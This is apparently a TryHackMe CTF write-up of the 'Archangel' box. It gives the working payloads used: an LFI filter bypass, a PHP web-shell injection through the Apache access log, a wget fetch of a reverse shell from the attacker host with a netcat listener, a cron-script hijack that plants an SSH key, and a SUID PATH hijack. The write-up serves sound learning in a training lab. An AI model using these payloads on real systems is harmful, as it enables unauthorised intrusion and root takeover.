Archangel Write Up - TryHackMe

This is an "easy" Linux box on TryHackme.com.

Summary: I gain root access to this machine by leveraging a Local File Inclusion vulnerability that I upgrade to Remote Code Execution via a log poisoning attack. Once I gain low-level shell access, I was able to do lateral privilege escalation via a task running in the crontab, which ultimately leads to a path variable privilege escalation attack that allows us to have root access on the box.

This is how I did it, step by step.

Phase 1: Initial Enumeration with Nmap

I start off by doing an initial port scan to see what ports are open on the box along with learning which servers are running on them.

nmap -sV -sC -T4 -oN nmap/initial 10.10.183.108        

I see that port 80 is open and running an Apache web server, and land on a static page. I saw an email address on the static website https://10.10.183.108 which said "[email protected]", which told me that I need to edit my /etc/hosts file and point the IP address to the domain name.

sudo nano /etc/hosts
10.10.183.108 mafialive.thm
        

After pointing the IP address to the domain name, I started manually enumerating the website. My first step was to check the robots.txt file to see if there are any pages that were marked as disallowed so the search engine spiders do not crawl and index those specific pages.

I uncovered test.php which I thought was interesting and wanted to look into further.

Phase 2: Web Enumeration

I landed on https://mafialive.thn/test.php, and see a button, when you click the button, you see the following:

I realized that when I press the button it is using the view parameter and calling a specific .php file in a way that presents us with various exploitation opportunities as we see the local path in the URL bar:

test.php?view=/var/www/html/development_testing/mrrobot.php
        

However, when I try testing for SQL injection, Remote File Inclusion, and even Local File Inclusion, I kept getting an error saying that this was not allowed:

Next on my list when it comes to testing, was to leverage PHP wrappers for Local File Inclusion, because I'm confident there is an opportunity for us to exploit. I decided to use the PHP wrapper with a base64 encode to convert the pages. The payload is like this:

php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
        

As we can see above, we managed to successfully execute our Local File Inclusion payload using the PHP Wrapper. The base64 encoded string in the image above, should be the source code to the mrrobot.php file once we decode the the base64.

Using echo, and piping it to the base64 -d command, I was able to decode the mrrobot.php file, which is what we were seeing when we originally click on the button on the test.php page. However, this still doesn't explain why we are being blocked when we try to executed traditional payloads for Local File Inclusions.

So I decided to use the PHP Wrapper payload and view the source of the test.php file itself. As you can see below:

As you can see when I decode the base64 version of the test.php page, we can see the string:

if(!containsStr($_GET['vew'], '../..') && '/var/www/html/development_testing')) 
        

Which explains why we are being blocked when executing our traditional Local File Inclusion payload. My answer to bypass this, is by changing the way I use the directory traversal pattern by using the following payload:

test.php?view=/var/www/html/development_testing/.././.././.././.././../etc/passwd
        

As you can see above, I was able to dump the base64 encoded contents of the /etc/passwd file successfully.

Phase 3: Exploitation - Local File Inclusion to Remote Code Execution via Log Poisoning

Now that I have the ability to search through the files stored on the web server, I was unable to find any quick wins like SSH keys, however, I did find that I was able to access the /var/log/apache2/access.log, which shows all of the requests (and others) I made to the web server being stored here.

Since I have access to the log file, I will be able to inject my own PHP code, and execute it on the access.log. I decided to use BurpSuite to help manage this attack.

As you can see above in my BurpSuite instance on the left, I have added the PHP code I wanted to inject using the User Agent field which is:

<?php system($_GET['sneakygrumpz']); ?>
        

This will allow me to execute system commands using the defined variable "sneakygrumpz" when I attach that to the access.log file, which you can see next to the GET parameter in BurpSuite.

/test.php?view=/var/www/html/development_testing/
.././.././../log/apache2/access.log&sneakygrumpz=id
        

This allowed me to execute the "id" command, I confirmed this was successful by looking at the access.log file on the right, which should show the output of the executed command:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
        

Success! Now that we have remote code execution via Log Poisoning, it's time that we get access to the web server as a low level user to see if we can root the box.

I decided to leverage a PHP reverse shell, that I will upload to the web server that will spawn a shell session back to my attacking machine using netcat. The first step was to upload the revere shell using BurpSuite via our "sneakygrumpz" variable:

As you can see above the command I executed was:

wget https://10.13.12.249:8000/revshell.php
        

Which is essentially downloading the revshell.php file off of my temporary web server on my attacking machine, which is stored in the document root directory of the vulnerable web server. Now all we need to do is start netcat to listen for connections on our designated port, which in our instance was 4444:

nc -lvnp 4444
        

Now all that is left, is to navigate to the upload revshell.php file on the vulnerable web server, "https://mafialive.thm/revshell.php". If everything goes to plan, we should have a session connected to our netcat listener, giving us low-level user access to the vulnerable web server.

Phase 4: Lateral Privilege Escalation

As you can see in the image above, I have managed to establish a session on the web server as the low-level user "www-data". During my third round of enumeration with my new low-level user, it led me to the /home/archangel/ directory on the box, where I found the user flag file.

Next up, was for me to continue during my enumeration to find a way to elevate my privileges to root, or another user that has more permissions than I currently do. This led me to look at the /etc/crontab which will show all the scheduled tasks on the box.

When I ran the "cat /etc/crontab" command, I noticed there was a scheduled task that runs ever minute called "helloworld.sh". After investigating this scheduled task, I learned that I this helloworld.sh file was writable for me with the current permissions that I had.

Since I confirmed I have writable permissions, it's time to see what the helloworld.sh file does.

After reviewing the bash script, it really doesn't do anything cool. All it does is copies the line "hello world" and adds that output to a text file called helloworld.txt every minute. Gotta love CTF boxes right? ;) So this had me thinking, how do I exploit this?

Well, what I could do, is add my own contents to this bash script which would then execute a series of commands that I decide every minute. I went ahead and created my own bash script named "helloworld.sh" on my attacker machine, which essentially does the following:

1. Create a /.ssh/ directory in the /home/archangel/ directory as this is the account I want to compromise
2. Copy a public SSH key that I generated on my attacker machine using ssh-keygen and then adding that to the "authorized_keys" file in the /.ssh/ directory in /home/archangel/

My helloworld.sh script is as follows:

#!/bin/bash

mkdir -p /home/archangel/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDwk1uo8TtifDcjVZi8yPmHsX1mOWjMe7vTtNajjCF7DkisugQPucjS8TJVs8Qapu7Qfhy6c6cvOoY7i9BX/lThs2NOV9bg/imAD0SEnOuAHczp3ed2Qlf5BEUSrwoahW3OlT9YJIWsKuACIE7WOKmy38SXfTvGrS7fPbrWucyLR3fUY/2296Y8oVkEB3kamdGdOe8aosGWeOJVMnd5oNM7exK2V/vipoUdaMCCODLfshNMdUUSC5UourgVS3/SW2U8HPkte850ewF53kjlZJ6RVf2xC6EVyAMRvT1slUMzA0DZ9/Mttx3bGUl1Oypl78Y5dqr5snoPXDT/TjiTA0AnNvbJsHegZJi32JsRWGZrMYWizZOpQPrA0vu5r9ZZvQnpjoQu6z/PRQVqdRgKgA9ACO6hEAUL72CZZ7hq4H3xMzoMYd3/8YKwfi+5Hh9HPtJWcxHM3MFIR9qrk5gYlFe25WZK9k4IRKcz10X9DbWK8N53o79CJAYlhx2dxCWzOAE= grumpz@h4x" >> /home/archangel/.ssh/authorized_keys
        

I went ahead and uploaded that script using my python3 http server on my attacking machine using the command:

python3 -m http.server
        

Once my helloworld.sh script was uploaded, I made sure that it can be executed by using "chmod +x hellworld.sh". Now that this has been done, we just need to wait, 60 seconds, for the scheduled task to execute, which will run my version of the helloworld.sh script.

Now if everything goes to plan, since I have the public key stored on the web server under the user archangel which I generated on my attacking machine, I should be able to login as archangel via SSH using my private key that was generated with ssh-keygen as well, which allows me to bypass any potential password prompts for archangel. For reference, use the -i option allows you to use a private key when logging in via SSH.

Success! We have successfully logged in as the user Archangel via SSH. Our next step is rooting the box, let's begin our enumeration phase all over again with our new Archangel user account. :)

Phase 5: Privilege Escalation to Root Access

While doing my enumeration, this first thing I did was look at what was is in the "secrets" directory, which I was unable to access my low-level user www-data previously. I found a file called "backup" which had the SETUID bit set.

When I saw this, it instantly had me thinking that this is going to be some type of PATH variable privilege escalation vector. With that in mind, I ran the "strings" command on the backup file to see if I can find any useful information.

My hunch was right, after running the strings command, I see that the copy (cp) command isn't using the full path in the backup binary. This will allow us to add our copy (cp) binary in the directory when executing the backup binary. The reason this is a privilege escalation vector is because the shell looks for executables with the same name as the command issued in the directories listed in PATH and upon finding a match, stops the search and executes it. What if we create our own malicious binary with the name ‘cp‘ and export it to be executed before the actual ‘cp‘ binary

Now that I have created my malicious copy (cp) binary, and have added everything to PATH. Let's execute the backup binary and see what happens.

Success! I have root access on the web server. Let's gather the root flag and complete this box.